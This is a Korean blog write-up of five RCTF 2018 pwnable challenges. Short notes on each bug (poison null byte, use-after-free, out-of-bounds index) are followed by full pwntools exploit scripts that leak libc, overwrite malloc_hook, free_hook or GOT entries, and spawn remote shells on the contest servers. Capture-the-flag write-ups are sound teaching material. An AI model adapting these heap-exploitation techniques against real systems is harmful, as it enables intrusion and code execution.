-
RCTF 2018 Write upPwnable/CTF 2018. 5. 21. 15:22
Baby HEAP
운 좋게 1등으로 문제를 풀었다 !!
문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.
취약점을 써서 뚝딱 풀면 된다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from pwn import *#p=process('./babyheap')p=remote('babyheap.2018.teamrois.cn',3154)def alloc(size,content):p.sendlineafter(': ','1')p.sendlineafter(': ',str(size))p.sendlineafter(': ',content)def show(idx):p.sendlineafter(': ','2')p.sendlineafter(': ',str(idx))def delete(idx):p.sendlineafter(': ','3')p.sendlineafter(': ',str(idx))alloc(24,'AAAA')alloc(256,'B'*240+p64(0x100)+p64(0x121))alloc(256,'CCC') #2delete(0)delete(1)alloc(24,'A'*24) #0alloc(0x88,'BBBB') #1alloc(0x60,'bbbb') #3delete(1)delete(2)p.recvuntil('Exit')p.recvuntil('Exit')sleep(1)alloc(0x88,'ZZZZ') #1alloc(0x80,'bbbb') #2alloc(0x80,'cccc') #4delete(2)show(3)p.recvuntil('content: ')main_arena = u64(p.recv(6)+'\x00\x00') + 88 - 176malloc_hook = main_arena - 0x10libc_base = main_arena - 0x3c4b20print hex(main_arena)print hex(malloc_hook)print hex(libc_base)delete(4)alloc(0x60,'aaaa')alloc(0x60,'cccc')delete(2)delete(4)delete(3)alloc(0x60,p64(malloc_hook-0x23))alloc(0x60,'cccc')alloc(0x60,'aaaa')alloc(0x60,'A'*0x13+p64(libc_base+0x4526a))p.interactive()cs RNote3
data 포인터 첫 바이트를 NULL로 만들면 되는데 그것을 생각했을 때 익스를 거의 다 짠 상태라 그냥 2번째 BYTE를 NULL로 만드는 익스를 짰다.취약점은 DELETE를 할 때 스택에서 NULL로 초기화를 안 시켜서 UAF 취약점이 생긴다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273from pwn import *#p=process('./RNote3')p=remote('rnote3.2018.teamrois.cn',7322)def add(title,size,content):sleep(0.5)p.sendline('1')p.sendlineafter('title: ',title)print p.sendlineafter('size: ',str(size))p.sendlineafter('content: ',content)def view(title):sleep(0.5)p.sendline('2')p.sendlineafter(': ',title)def edit(title,content):sleep(0.5)p.sendline('3')p.sendlineafter(': ',title)p.sendlineafter(': ',content)def delete(title):sleep(0.5)p.sendline('4')p.sendlineafter(': ',title)while True:try:# p=process('./RNote3')p=remote('rnote3.2018.teamrois.cn',7322)print p.recv(1024)p.sendline('-1')add('AAAA',24,'AAAA')delete('AAAA')delete('AAAA')add('',24,'AAAA')add('',24,'AAAA')add('BBBB',0xb0,p64(0x119))add('CCCC',24,'CCCC')add('DDDD',256,'/bin/sh\x00')delete('CCCC')delete('')view('\x40')if 'valid' not in p.recvuntil('title'):print 'Correct'p.recvuntil('note content: ')heap = u64(p.recv(6)+'\x00\x00') - 0x140print hex(heap)add('',24,'AAAA')add('CCCC',24,'CCCC')delete('')delete('')delete('BBBB')add('',0xb0,'BBBB')add(p64(heap+0x140)[0:6],24,'AAAA')add('!!!!',24,'@'*7+'\x00'+p64(0x500)+p64(heap+0x98))view('@'*7)p.recvuntil('note content: ')main_arena = u64(p.recv(6)+'\x00\x00') - 88libc_base = main_arena - 0x3c4b20free_hook = libc_base + 0x3c67a8print hex(main_arena)print hex(free_hook)edit('@'*7,'A'*0xa0 + p64(0) + p64(0xc0) + p64(0x21) + '@'*7 + '\x00' + p64(0x500) + p64(free_hook))edit('@'*7,p64(libc_base+0x45390))p.interactive()else:asd() #errorexcept:print 'Error'cs Simulator
a2[0] = asm_opcode
a2[1] = reg_idx
a2[2] = reg_idx
a2[3] = reg_idx
대충 인덱스에 이런 식으로 들어간다 if 문으로 asm을 입력하면 opcode로 바꿔주고 OPCODE를 if 문으로 나누는데
add, and, sub, slt, or 5개만 내가 입력한 문자열로 인덱스를 정해줄 수 있다.
인덱스 값 범위를 필터링 하지 않았기 때문에 OOB취약점이 생긴다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566from pwn import *import hashlibimport stringdef proof_of_work():data = p.recvline().split('\n')[0]str_ = string.ascii_letters + string.digitskey = ""check = Falseprint datafor one in str_:if check:breakfor two in str_:if check:breakfor three in str_:if check:breakfor fo in str_:key = data + one + two + three + foif check:breakif hashlib.sha256(key).digest().startswith('\0\0\0'):print (one+to+three+fo)p.send(one+to+three+fo)check = True#p=process('./simulator')p=remote('simulator.2018.teamrois.cn',3131)proof_of_work()sleep(1)p.sendline('.text')p.sendline('sub {0},{1},{2}'.format('4294966944','134523785','1')) #puts -> mainp.sendline('sub {0},{1},{2}'.format('4294966942','134514033','1')) #strdup -> printfp.sendline('END')p.sendline('.data')sleep(1)p.sendline('%2$p')fgets = int(p.recv(10),16) - 11 #server -> 0x5d620libc_base = fgets - 0x5d620system = libc_base + 0x3a940cmd = libc_base + 0x15902bprint hex(fgets)print hex(libc_base)print hex(system)print hex(cmd)p.sendline('%159$p')canary = int(p.recv(10),16)print hex(canary)p.sendline('.text')p.sendline('sub {0},{1},{2}'.format('4294966944','134514033','1')) #puts recoveryp.sendline('END')p.recvuntil('comment: ')p.sendline('AAAA')payload = 'A'*32payload += p32(canary)payload += 'B'*12payload += p32(system)payload += p32(cmd) * 2print p.sendlineafter('comment: ',payload)p.interactive()cs RNote4
NO-RELRO를 보고 바로 strtab덮어야지 했는데 이상하게 안 덮여서 삽질을 하다가 그냥 free@got를 system으로 브포를 돌렸다.
문제를 풀고 다시 확인해보니 strtab을 이상하게 덮으려고 했다 ..
123456789101112131415161718192021222324252627282930313233343536373839404142from pwn import *p=process('./RNote4')def alloc(size,data):p.send('\x01')p.send(size)p.send(data)def edit(idx,size,data):sleep(0.5)p.send('\x02')p.send(idx)p.send(size)p.send(data)def delete(idx):sleep(0.5)p.send('\x03')p.send(idx)while True:try:# p=process('./RNote4')p=remote('rnote4.2018.teamrois.cn',6767)alloc('\x18','A'*24)alloc('\x18','B'*24)alloc('\x18','C'*24)alloc('\x18','/bin/sh\x00'+'\x00'*16)edit('\x01','\x30','B'*40+p64(0x602018))delete('\x00')edit('\x02','\x03','\x90\x33\x56')delete('\x03')p.sendline('id;ls')print p.recv(1024)p.sendline('id;ls')print p.recv(1024)p.interactive()except:p.close()p.interactive()cs Stringer
문제를 보자마자 그 취약점이 생각났다.
ROOT_CTF Allocate가 아래 ptrmalloc에 나오는 calloc trick, realloc trick을 이용한 문제였는데 모르고
realloc에서 NULL로 덮지 않았다. ㅠㅠㅠ
https://github.com/andigena/ptmalloc-fanzine
위에서 03scraps-calloc.c trick이 이 문제 핵심이다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import *#p=process('./stringer')p=remote('stringer.2018.teamrois.cn',7272)def new(length,string):p.sendlineafter('choice: ','1')p.sendlineafter(': ',str(length))if(len(string) < length):p.sendlineafter(': ',string)else:p.sendafter(': ',string)def edit(idx,byte_idx):p.sendlineafter('choice: ','3')p.sendlineafter(': ',str(idx))p.sendlineafter(': ',str(byte_idx))def delete(idx):p.sendlineafter('choice: ','4')p.sendlineafter(': ',str(idx))new(24,'A'*24) #0new(0x100,'B'*0x100) #1new(0x100,'C'*0x100) #2delete(1)edit(0,24)edit(0,24)new(0x100,'\n') #3p.recvuntil('your string:')p.recv(1)main_arena = u64(p.recv(6)+'\x00\x00') - 0x16 + 0x2clibc_base = main_arena - 0x3c4b20malloc_hook = main_arena - 0x10print hex(main_arena)print hex(libc_base)print hex(malloc_hook)new(0x60,'AAAA') #4new(0x60,'BBBB') #5delete(4)delete(5)delete(4)new(0x60,p64(malloc_hook-0x23))new(0x60,'BBBB')new(0x60,'AAAA')new(0x60,'A'*0x13+p64(libc_base+0xf02a4))p.sendlineafter('choice: ','1')p.sendlineafter('length: ','24')p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
SECCON 2017 vm_no_fun (0) 2018.08.15 Codegate 2018 7ameBOX1 (0) 2018.05.21 Secuinside 2017 vvv (0) 2018.05.13 Codegate 2017 JsWorld (0) 2018.05.10 Codegate 2018 Final (0) 2018.04.10